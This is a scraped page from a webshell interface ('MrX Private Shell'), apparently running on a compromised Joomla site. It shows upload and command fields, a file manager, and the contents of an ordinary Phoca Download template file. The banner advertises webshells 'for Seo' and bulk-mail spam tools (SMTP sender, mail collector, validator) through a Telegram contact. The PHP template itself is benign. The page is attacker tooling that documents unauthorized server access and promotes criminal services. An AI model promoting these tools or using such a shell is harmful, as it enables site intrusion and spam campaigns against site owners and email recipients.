__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Extension
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

$l = new PhocaDownloadLayout();

$layoutCM 	= new FileLayout('category_modal', null, array('component' => 'com_phocadownload'));

if (!empty($this->files)) {
	foreach ($this->files as $v) {


		if ($this->checkRights == 1) {
			// USER RIGHT - Access of categories (if file is included in some not accessed category) - - - - -
			// ACCESS is handled in SQL query, ACCESS USER ID is handled here (specific users)
			$rightDisplay	= 0;

			if (!isset($v->cataccessuserid)) {
				$v->cataccessuserid = 0;
			}

			if (isset($v->catid) && isset($v->cataccessuserid) && isset($v->cataccess)) {
				$rightDisplay = PhocaDownloadAccess::getUserRight('accessuserid', $v->cataccessuserid, $v->cataccess, $this->t['user']->getAuthorisedViewLevels(), $this->t['user']->get('id', 0), 0);
			}
			// - - - - - - - - - - - - - - - - - - - - - -
		} else {
			$rightDisplay = 1;
		}

		if ($rightDisplay == 1) {



			// Test if we have information about category - if we are displaying items by e.g. search outcomes - tags
			// we don't have any ID of category so we need to load it for each file.
			$this->catitem[$v->id]			= new StdClass();
			$this->catitem[$v->id]->id 		= 0;
			$this->catitem[$v->id]->alias 	= '';

			if (isset($this->category[0]->id) && isset($this->category[0]->alias)) {
				$this->catitem[$v->id]->id 		= (int)$this->category[0]->id;
				$this->catitem[$v->id]->alias 	= $this->category[0]->alias;
			} else {
				$catDb = PhocaDownloadCategory::getCategoryByFile($v->id);
				if (isset($catDb->id) && isset($catDb->alias)) {
					$this->catitem[$v->id]->id 		= (int)$catDb->id;
					$this->catitem[$v->id]->alias 	= $catDb->alias;
				}
				$categorySetTemp = 1;

			}

			// General
			$linkDownloadB = '';
			$linkDownloadE = '';
			if ((int)$v->confirm_license > 0 || $this->t['display_file_view'] == 1) {
				$linkDownloadB = '<a class="" href="'. JRoute::_(PhocaDownloadRoute::getFileRoute($v->id, $v->catid,$v->alias, $v->categoryalias, $v->sectionid). $this->t['limitstarturl']).'" >';	// we need pagination to go back
				$linkDownloadE ='</a>';
			} else {
				if ($v->link_external != '' && $v->directlink == 1) {
					$linkDownloadB = '<a class="" href="'.$v->link_external.'" target="'.$this->t['download_external_link'].'" >';
					$linkDownloadE ='</a>';
				} else {
					$linkDownloadB = '<a class="" href="'. Route::_(PhocaDownloadRoute::getFileRoute($v->id, $this->catitem[$v->id]->id,$v->alias, $this->catitem[$v->id]->alias, $v->sectionid, 'download').$this->t['limitstarturl']).'" >';
					$linkDownloadE ='</a>';
				}
			}


			// pdfile
			if ($v->filename != '') {
				$imageFileName = $l->getImageFileName($v->image_filename, $v->filename);

				$pdFile = '<div class="pd-filenamebox-bt">';
				if ($this->t['filename_or_name'] == 'filenametitle') {
					$pdFile .= '<div class="pd-title">'. $v->title . '</div>';
				}

				$pdFile .= '<div class="pd-filename">'. $imageFileName['filenamethumb']
					. '<div class="pd-document'.$this->t['file_icon_size'].'" '
					. $imageFileName['filenamestyle'].'>';

				$pdFile .= '<div class="pd-float">';
				$pdFile .= $linkDownloadB .$l->getName($v->title, $v->filename) .$linkDownloadE;
				$pdFile .= '</div>';

				$pdFile .= PhocaDownloadRenderFront::displayNewIcon($v->date, $this->t['displaynew']);
				$pdFile .= PhocaDownloadRenderFront::displayHotIcon($v->hits, $this->t['displayhot']);


				// String Tags - title suffix
				$tagsS = $l->displayTagsString($v->tags_string);
				if ($tagsS != '') {
					$pdFile .= '<div class="pd-float">'.$tagsS.'</div>';
				}

				// Tags - title suffix
				if ($this->t['display_tags_links'] == 4 || $this->t['display_tags_links'] == 6) {
					$tags = $l->displayTags($v->id, 1);
					if ($tags != '') {
						$pdFile .= '<div class="pd-float">'.$tags.'</div>';
					}
				}

				// Specific icons
				if (isset($v->image_filename_spec1) && $v->image_filename_spec1 != '') {
					$pdFile .= '<div class="pd-float">'.$l->getImageDownload($v->image_filename_spec1).'</div>';
				}
				if (isset($v->image_filename_spec2) && $v->image_filename_spec2 != '') {
					$pdFile .= '<div class="pd-float">'.$l->getImageDownload($v->image_filename_spec2).'</div>';
				}

				$pdFile .= '</div></div></div>' . "\n";
			}

			// pdbuttonplay
			$pdButtonPlay = '';

			if (isset($v->filename_play) && $v->filename_play != '') {
				$fileExt 	= PhocaDownloadFile::getExtension($v->filename_play);
				$canPlay	= PhocaDownloadFile::canPlay($v->filename_play);

				if ($canPlay) {

					$playLink = Route::_(PhocaDownloadRoute::getFileRoute($v->id,$v->catid,$v->alias, $v->categoryalias,0, 'play').$this->t['limitstarturl']);
					//$pdButtonPlay .= '<div class="pd-button-play">';
					if ($this->t['play_popup_window'] == 1) {

						// Special height for music only
						$buttonPlOptions = $this->t['buttonpl']->options;
						$dataType = 'play';
						if ($fileExt == 'mp3' || $fileExt == 'ogg') {
							$buttonPlOptions = $this->t['buttonpl']->optionsmp3;
							$dataType="play-thin";
						}


						$pdButtonPlay = '<a class="btn btn-danger"  href="'.$playLink.'" onclick="'. $buttonPlOptions.'" >'. Text::_('COM_PHOCADOWNLOAD_PLAY').'</a>';
					} else {

						// Special height for music only
						$buttonPlOptions = $this->t['buttonpl']->optionsB;
						$dataType = 'play';
						if ($fileExt == 'mp3' || $fileExt == 'ogg') {
							$buttonPlOptions = $this->t['buttonpl']->optionsmp3B;
							$dataType="play-thin";
						}


						//$pdButtonPlay .= '<a class="btn btn-danger pd-bs-modal-button" href="'.$playLink.'" rel="'. $buttonPlOptions.'" >'. JText::_('COM_PHOCADOWNLOAD_PLAY').'</a>';

						//$pdButtonPlay = '<a class="btn btn-danger pd-bs-modal-button" data-toggle="modal" data-target="#phModalPlay" data-href="'.$playLink.'" '.$buttonPlOptions.' >'. Text::_('COM_PHOCADOWNLOAD_PLAY').'</a>';


						$pdButtonPlay = '<a class="btn btn-danger pd-bs-modal-button" data-type="'.$dataType.'" data-title="'. Text::_('COM_PHOCADOWNLOAD_PLAY').'" href="'.$playLink.'">'. Text::_('COM_PHOCADOWNLOAD_PLAY').'</a>';

					}
					//$pdButtonPlay .= '</div>';
				}
			}

			// pdbuttonpreview
			$pdButtonPreview = '';
			if (isset($v->filename_preview) && $v->filename_preview != '') {
				$fileExt = PhocaDownloadFile::getExtension($v->filename_preview);
				if ($fileExt == 'pdf' || $fileExt == 'jpeg' || $fileExt == 'jpg' || $fileExt == 'png' || $fileExt == 'gif') {

					$dataType = 'image';
					if ($fileExt == 'pdf') {
						$dataType = 'document';
					}

					$filePath	= PhocaDownloadPath::getPathSet('filepreview');
					$filePath	= str_replace ( '../', Uri::base(true).'/', $filePath['orig_rel_ds']);
					$previewLink = $filePath . $v->filename_preview;
					//$pdButtonPreview	.= '<div class="pd-button-preview">';

					if ($this->t['preview_popup_window'] == 1) {
						$pdButtonPreview .= '<a  class="btn btn-warning" href="'.$previewLink.'" onclick="'. $this->t['buttonpr']->options.'" >'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';
					} else {
						if ($fileExt == 'pdf') {
							// Iframe - modal
							//$pdButtonPreview .= '<a class="btn btn-warning pd-bs-modal-button" href="'.$previewLink.'" rel="'. $this->t['buttonpr']->options.'" >'. JText::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';
							//$pdButtonPreview = '<a class="btn btn-warning pd-bs-modal-button" data-toggle="modal" data-target="#phModalPreview" data-href="'.$previewLink.'" '. $this->t['buttonpr']->optionsB.' >'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';


							$pdButtonPreview = '<a class="btn btn-warning pd-bs-modal-button" data-type="'.$dataType.'" data-title="'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'" href="'.$previewLink.'">'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';


						} else {
							// Image - modal
							//$pdButtonPreview .= '<a class="btn btn-warning pd-bs-modal-button" href="'.$previewLink.'" rel="'. $this->t['buttonpr']->optionsimg.'" >'. JText::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';

							//$pdButtonPreview = '<a class="btn btn-warning pd-bs-modal-button" data-toggle="modal" data-target="#phModalPreview" data-href="'.$previewLink.'" '. $this->t['buttonpr']->optionsimgB.' >'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';

							$pdButtonPreview = '<a class="btn btn-warning pd-bs-modal-button" data-type="'.$dataType.'" data-title="'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'" href="'.$previewLink.'">'. Text::_('COM_PHOCADOWNLOAD_PREVIEW').'</a>';

						}
					}
					//$pdButtonPreview	.= '</div>';
				}
			}

			// pdbuttondownload
			//$pdButtonDownload = '<div class="pd-button-download">';
			$pdButtonDownload = str_replace('class=""', 'class="btn btn-success"', $linkDownloadB) . Text::_('COM_PHOCADOWNLOAD_DOWNLOAD') .$linkDownloadE;
			//$pdButtonDownload .= '</div>';



			// pdbuttondetails
			$d = '';

			$pdTitle = '';
			if ($v->title != '') {
				$pdTitle .= '<div class="pd-title pd-colfull">'.$v->title.'</div>';
				$d .= $pdTitle;
			}

			$pdImage = '';
			if ($v->image_download != '') {
				$pdImage .= '<div class="pd-image pd-colfull">'.$l->getImageDownload($v->image_download).'</div>';

				$d .= $pdImage;
			}

			$pdDescription = '';
			if ($l->isValueEditor($v->description) && $this->t['display_description'] != 1 & $this->t['display_description'] != 2 & $this->t['display_description'] != 3) {
				$pdDescription .= '<div class="pd-fdesc pd-colfull">'.$v->description.'</div>';
				$d .= $pdDescription;
			}

			$pdFileSize = '';
			$fileSize = $l->getFilesize($v->filename);
			if ($fileSize != '') {
				$pdFileSize .= '<div class="pd-filesize-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_FILESIZE').':</div>';
				$pdFileSize .= '<div class="pd-fl-m pd-col2">'.$fileSize.'</div>';
				$d .= $pdFileSize;
			}

			$pdVersion = '';
			if ($v->version != '') {
				$pdVersion .= '<div class="pd-version-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_VERSION').':</div>';
				$pdVersion .= '<div class="pd-fl-m pd-col2">'.$v->version.'</div>';
				$d .= $pdVersion;
			}

			$pdLicense = '';
			if ($v->license != '') {
				if ($v->license_url != '') {
					$pdLicense .= '<div class="pd-license-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_LICENSE').':</div>';
					$pdLicense .= '<div class="pd-fl-m pd-col2"><a href="'.$v->license_url.'" target="_blank">'.$v->license.'</a></div>';
				} else {
					$pdLicense .= '<div class="pd-license-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_LICENSE').':</div>';
					$pdLicense .= '<div class="pd-fl-m pd-col2">'.$v->license.'</div>';
				}
				$d .= $pdLicense;
			}

			$pdAuthor = '';
			if ($v->author != '') {
				if ($v->author_url != '') {
					$pdAuthor .= '<div class="pd-author-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_AUTHOR').':</div>';
					$pdAuthor .= '<div class="pd-fl-m pd-col2"><a href="'.$v->author_url.'" target="_blank">'.$v->author.'</a></div>';
				} else {
					$pdAuthor .= '<div class="pd-author-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_AUTHOR').':</div>';
					$pdAuthor .= '<div class="pd-fl-m pd-col2">'.$v->author.'</div>';
				}
				$d .= $pdAuthor;
			}

			$pdAuthorEmail = '';
			if ($v->author_email != '') {
				$pdAuthorEmail .= '<div class="pd-email-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_EMAIL').':</div>';
				$pdAuthorEmail .= '<div class="pd-fl-m pd-col2">'. $l->getProtectEmail($v->author_email).'</div>';
				$d .= $pdAuthorEmail;
			}

			$pdFileDate = '';
			$fileDate = $l->getFileDate($v->filename, $v->date);
			if ($fileDate != '') {
				$pdFileDate .= '<div class="pd-date-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_DATE').':</div>';
				$pdFileDate .= '<div class="pd-fl-m pd-col2">'.$fileDate.'</div>';
				$d .= $pdFileDate;
			}

			$pdDownloads = '';
			if ($this->t['display_downloads'] == 1) {
				$pdDownloads .= '<div class="pd-downloads-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_DOWNLOADS').':</div>';
				$pdDownloads .= '<div class="pd-fl-m pd-col2">'.$v->hits.' x</div>';
				$d .= $pdDownloads;
			}



			$pdFeatures = '';
			if ($l->isValueEditor($v->features)) {
				$pdFeatures .= '<div class="pd-features-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_FEATURES').'</div>';
				$pdFeatures .= '<div class="pd-features pd-col2">'.$v->features.'</div>';
			}

			$pdChangelog = '';
			if ($l->isValueEditor($v->changelog)) {
				$pdChangelog .= '<div class="pd-changelog-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_CHANGELOG').'</div>';
				$pdChangelog .= '<div class="pd-changelog pd-col2">'.$v->changelog.'</div>';
			}

			$pdNotes = '';
			if ($l->isValueEditor($v->notes)) {
				$pdNotes .= '<div class="pd-notes-txt pd-col1">'.Text::_('COM_PHOCADOWNLOAD_NOTES').'</div>';
				$pdNotes .= '<div class="pd-notes pd-col2">'.$v->notes.'</div>';
			}


			// pdfiledesc
			$description = $l->isValueEditor($v->description);

			$pdFileDescTop 		= '';
			$pdFileDescBottom	= '';
			$oFileDesc			= '';

			if ($description) {
				switch ($this->t['display_description']) {

					case 1:
						$pdFileDescTop = '<div class="pd-fdesc">' . $v->description . '</div>';
					break;
					case 2:
						$pdFileDescBottom = '<div class="pd-fdesc">' . $v->description . '</div>';
					break;
					case 3:
						$oFileDesc = '<div class="pd-fdesc">' . $v->description . '</div>';
					break;
					case 4:
						$pdFileDescTop = '<div class="pd-fdesc">' . $v->description . '</div>';
						$oFileDesc     = '<div class="pd-fdesc">' . PhocaDownloadUtils::strTrimAll($d) . '</div>';
					break;
					case 5:
						$pdFileDescBottom = '<div class="pd-fdesc">' . $v->description . '</div>';
						$oFileDesc        = '<div class="pd-fdesc">' . PhocaDownloadUtils::strTrimAll($d) . '</div>';
					break;
					case 6:
						$pdFileDescTop = '<div class="pd-fdesc">' . $d . '</div>';
						$oFileDesc     = '<div class="pd-fdesc">' . PhocaDownloadUtils::strTrimAll($d) . '</div>';
					break;
					case 7:
						$pdFileDescBottom = '<div class="pd-fdesc">' . $d . '</div>';
						$oFileDesc        = '<div class="pd-fdesc">' . PhocaDownloadUtils::strTrimAll($d) . '</div>';
					break;

					case 8:
						$oFileDesc = '<div class="pd-fdesc">' . PhocaDownloadUtils::strTrimAll($d) . '</div>';
					break;

					default:
					break;
				}
			}

			// Detail Button
			if ($this->t['display_detail'] == 1) {
				if ($oFileDesc	!= '') {
					$tooltipcontent = $oFileDesc;
				} else {
					$tooltipcontent = $d;
				}

				$tooltipcontent = str_replace('"', '\'', $tooltipcontent);
				//$sA = array(utf8_encode(chr(11)), utf8_encode(chr(160)));
				$eA	= array("\t", "\n", "\r", "\0");
				//$tooltipcontent = str_replace($sA, ' ', $tooltipcontent);
				$tooltipcontent = str_replace($eA, '', $tooltipcontent);

				//$textO = htmlspecialchars(addslashes('<div style=\'text-align:left;padding:5px\'>'.$tooltipcontent.'</div>'));
				//$overlib 	= "\n\n" ."onmouseover=\"return overlib('".$textO."', CAPTION, '".Text::_('COM_PHOCADOWNLOAD_DETAILS')."', BELOW, RIGHT, CSSCLASS, TEXTFONTCLASS, 'fontPhocaPDClass', FGCLASS, 'fgPhocaPDClass', BGCLASS, 'bgPhocaPDClass', CAPTIONFONTCLASS,'capfontPhocaPDClass', CLOSEFONTCLASS, 'capfontclosePhocaPDClass', STICKY, MOUSEOFF, CLOSETEXT, '".Text::_('COM_PHOCADOWNLOAD_CLOSE')."');\"";
				//$overlib .= " onmouseout=\"return nd();\"" . "\n";

				//$pdButtonDetails = '<div class="pd-button-details">';
				//$pdButtonDetails = '<a class="btn btn-info" '.$overlib.' href="javascript:void(0)">'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'</a>';



				/*$pdButtonDetails .= '<button type="button" class="btn btn-secondary" data-bs-toggle="tooltip" data-bs-html="true" title="<div class=\'te-st\'><em>Tooltip</em> <u>with</u> <b>HTML</b></div><div><em>Tooltip</em> <u>with</u> <b>HTML</b></div><div><em>Tooltip</em> <u>with</u> <b>HTML</b></div>">
  Tooltip with HTML
</button>';*/


				$tooltipcontent = '<div class=\'pd-tooltip-box\'>' . $tooltipcontent . '</div>';
				$pdButtonDetails = '<a class="btn btn-info" title="'.$tooltipcontent.'" data-bs-toggle="tooltip" data-bs-html="true">'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'</a>';


				//$pdButtonDetails = '</div>';
			} else if ($this->t['display_detail'] == 2) {

				// Bootstrap
				$buttonDOptions = $this->t['buttond']->options;
				$detailLink 	= Route::_(PhocaDownloadRoute::getFileRoute($v->id, $this->catitem[$v->id]->id,$v->alias, $this->catitem[$v->id]->alias, 0, 'detail').$this->t['limitstarturl']);
				//$pdButtonDetails = '<div class="pd-button-details">';



				$pdButtonDetails = '<a class="btn btn-info pd-bs-modal-button" data-type="detail" data-title="'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'" href="'.$detailLink.'">'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'</a>';

				//$pdButtonDetails .= '</div>';

				//$pdButtonDetails = '<div class="pd-button-details">';
				//$pdButtonDetails = '<a class="btn btn-info pd-bs-modal-button" href="'.$detailLink.'" onclick="'. $buttonDOptions.'">'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'</a>';

				//$pdButtonDetails .= '</div>';

			} else if ($this->t['display_detail'] == 3) {

				$detailLink 	= Route::_(PhocaDownloadRoute::getFileRoute($v->id, $this->catitem[$v->id]->id,$v->alias, $this->catitem[$v->id]->alias, 0, 'detail').$this->t['limitstarturl']);
				//$pdButtonDetails = '<div class="pd-button-details">';
				$buttonDOptions = $this->t['buttond']->options;
				$pdButtonDetails = '<a class="btn btn-info" href="'.$detailLink.'" onclick="'. $buttonDOptions.'">'. Text::_('COM_PHOCADOWNLOAD_DETAILS').'</a>';

				//$pdButtonDetails .= '</div>';

			} else {
				$pdButtonDetails = '';
			}

			/// pdmirrorlink1
			$pdMirrorLink1 = '';
			$mirrorOutput1 = PhocaDownloadRenderFront::displayMirrorLinks(1, $v->mirror1link, $v->mirror1title, $v->mirror1target);

			if ($mirrorOutput1 != '') {

				if ($this->t['display_mirror_links'] == 4 || $this->t['display_mirror_links'] == 6) {
					$classMirror = '';//'pd-button-mirror1';
					$mirrorOutput1 = str_replace('class=""', 'class="btn btn-primary "', $mirrorOutput1);
				} else {
					$classMirror = 'pd-mirror-bp';
				}

				$pdMirrorLink1 = '<div class="'.$classMirror.'">'.$mirrorOutput1.'</div>';
			}

			/// pdmirrorlink2
			$pdMirrorLink2 = '';
			$mirrorOutput2 = PhocaDownloadRenderFront::displayMirrorLinks(1, $v->mirror2link, $v->mirror2title, $v->mirror2target);
			if ($mirrorOutput2 != '') {
				if ($this->t['display_mirror_links'] == 4 || $this->t['display_mirror_links'] == 6) {
					$classMirror = '';//'pd-button-mirror2';
					$mirrorOutput2 = str_replace('class=""', 'class="btn btn-primary "', $mirrorOutput2);
				} else {
					$classMirror = 'pd-mirror-bp';
				}

				$pdMirrorLink2 = '<div class="'.$classMirror.'">'.$mirrorOutput2.'</div>';
			}

			/// pdreportlink
			$pdReportLink = PhocaDownloadRenderFront::displayReportLink(1, $v->title);

			/// pdrating
			$pdRating 	= PhocaDownloadRate::renderRateFile($v->id, $this->t['display_rating_file']);

			/// pdtags
			$pdTags = '';
			if ($this->t['display_tags_links'] == 1 || $this->t['display_tags_links'] == 3) {
				$tags2 = $l->displayTags($v->id);
				if ($tags2 != '') {
					$pdTags .= '<div class="pd-float">'.$tags2.'</div>';
				}
			}


			/// pdvideo
			$pdVideo = $l->displayVideo($v->video_filename, 0);


			// ---------------------------------------------------
			// Output
			// ---------------------------------------------------
			if ($v->textonly == 1) {
				echo '<div class="row pd-row2-bp">';
				echo '<div class="col-sm-12 col-md-12">';
				echo  $v->description;
				echo '</div>';
				echo '</div>';// end row

			} else {

				// ======= ROW 1 LEFT
				echo '<div class="row ">';

				if ($pdFileDescTop != '') {
					echo '<div class="col-sm-12 col-md-12">';
					echo $pdFileDescTop;
					echo '</div>';
				}

				echo '<div class="col-sm-'.$this->t['bt_cat_col_left'].' col-md-'.$this->t['bt_cat_col_left'].'">';
				echo $pdFile;
				echo '</div>';

				// ======= ROW 1 RIGHT
				echo '<div class="col-sm-'.$this->t['bt_cat_col_right'].' col-md-'.$this->t['bt_cat_col_right'].'">';

				echo '<div class="pd-button-box-bt">'.$pdButtonDownload . '</div>';
				echo '<div class="pd-button-box-bt">'.$pdButtonDetails . '</div>';
				echo '<div class="pd-button-box-bt">'.$pdButtonPreview . '</div>';
				echo '<div class="pd-button-box-bt">'.$pdButtonPlay . '</div>';

				echo '</div>';

				echo '</div>';// end row

				// ======== ROW 2 LEFT
				echo '<div class="row pd-row2-bp">';

				echo '<div class="col-sm-6 col-md-6">';
				if ($pdVideo != '') {
					echo '<div class="pd-video">'.$pdVideo.'</div>';
				}
				echo '<div class="pd-rating">'.$pdRating.'</div>';
				echo '</div>';

				// ======== ROW 2 RIGHT
				echo '<div class="col-sm-6 col-md-6">';

				if ($this->t['display_mirror_links'] == 4 || $this->t['display_mirror_links'] == 6) {
					if ($pdMirrorLink2 != '') {
						echo '<div class="pd-buttons">'.$pdMirrorLink2.'</div>';
					}
					if ($pdMirrorLink1 != '') {
						echo '<div class="pd-buttons">'.$pdMirrorLink1.'</div>';
					}

				} else if ($this->t['display_mirror_links'] == 1 || $this->t['display_mirror_links'] == 3) {
					echo '<div class="pd-mirrors">'.$pdMirrorLink2.$pdMirrorLink1.'</div>';
				}

				if ($pdTags != '') {
					echo '<div class="pd-tags-bp">'.$pdTags.'</div>';
				}

				if ($pdReportLink != '') {
					echo '<div class="pd-report-bp">'.$pdReportLink.'</div>';
				}

				echo '</div>';

				if ($pdFileDescBottom != '') {
					echo '<div class="col-sm-12 col-md-12">';
					echo $pdFileDescBottom;
					echo '</div>';
				}

				echo '</div>';// end row




					/*echo '<div class="pd-filebox">';
					echo $pdFileDescTop;
					echo $pdFile;
						echo '<div class="pd-buttons">'.$pdButtonDownload.'</div>';
					/*
						if ($this->t['display_detail'] == 1 || $this->t['display_detail'] == 2) {
							echo '<div class="pd-buttons">'.$pdButtonDetails.'</div>';
						}

						if ($this->t['display_preview'] == 1 && $pdButtonPreview != '') {
							echo '<div class="pd-buttons">'.$pdButtonPreview.'</div>';
						}

						if ($this->t['display_play'] == 1 && $pdButtonPlay != '') {
							echo '<div class="pd-buttons">'.$pdButtonPlay.'</div>';
						}

						if ($this->t['display_mirror_links'] == 4 || $this->t['display_mirror_links'] == 6) {
							if ($pdMirrorLink2 != '') {
								echo '<div class="pd-buttons">'.$pdMirrorLink2.'</div>';
							}
							if ($pdMirrorLink1 != '') {
								echo '<div class="pd-buttons">'.$pdMirrorLink1.'</div>';
							}

						} else if ($this->t['display_mirror_links'] == 1 || $this->t['display_mirror_links'] == 3) {
							echo '<div class="pd-mirrors">'.$pdMirrorLink2.$pdMirrorLink1.'</div>';
						}

						if ($pdVideo != '') {
							echo '<div class="pd-video">'.$pdVideo.'</div>';
						}

						if ($pdReportLink != '') {
							echo '<div class="pd-report">'.$pdReportLink.'</div>';
						}

						if ($pdRating != '') {
							echo '<div class="pd-rating">'.$pdRating.'</div>';
						}

						if ($pdTags != '') {
							echo '<div class="pd-tags">'.$pdTags.'</div>';
						}
					echo $pdFileDescBottom;
					echo '<div class="pd-cb"></div>';
					echo '</div>';*/




			// ---------------------------------------------------
			}


		}

	}

	$d          = array();
    $d['t']     = $this->t;
	echo $layoutCM->render($d);
}
?>

Filemanager

Name Type Size Permission Actions
default.php File 5.34 KB 0664
default.xml File 2.92 KB 0664
default_files.php File 23.14 KB 0664
default_pagination.php File 2.92 KB 0664
index.html File 44 B 0664
Filemanager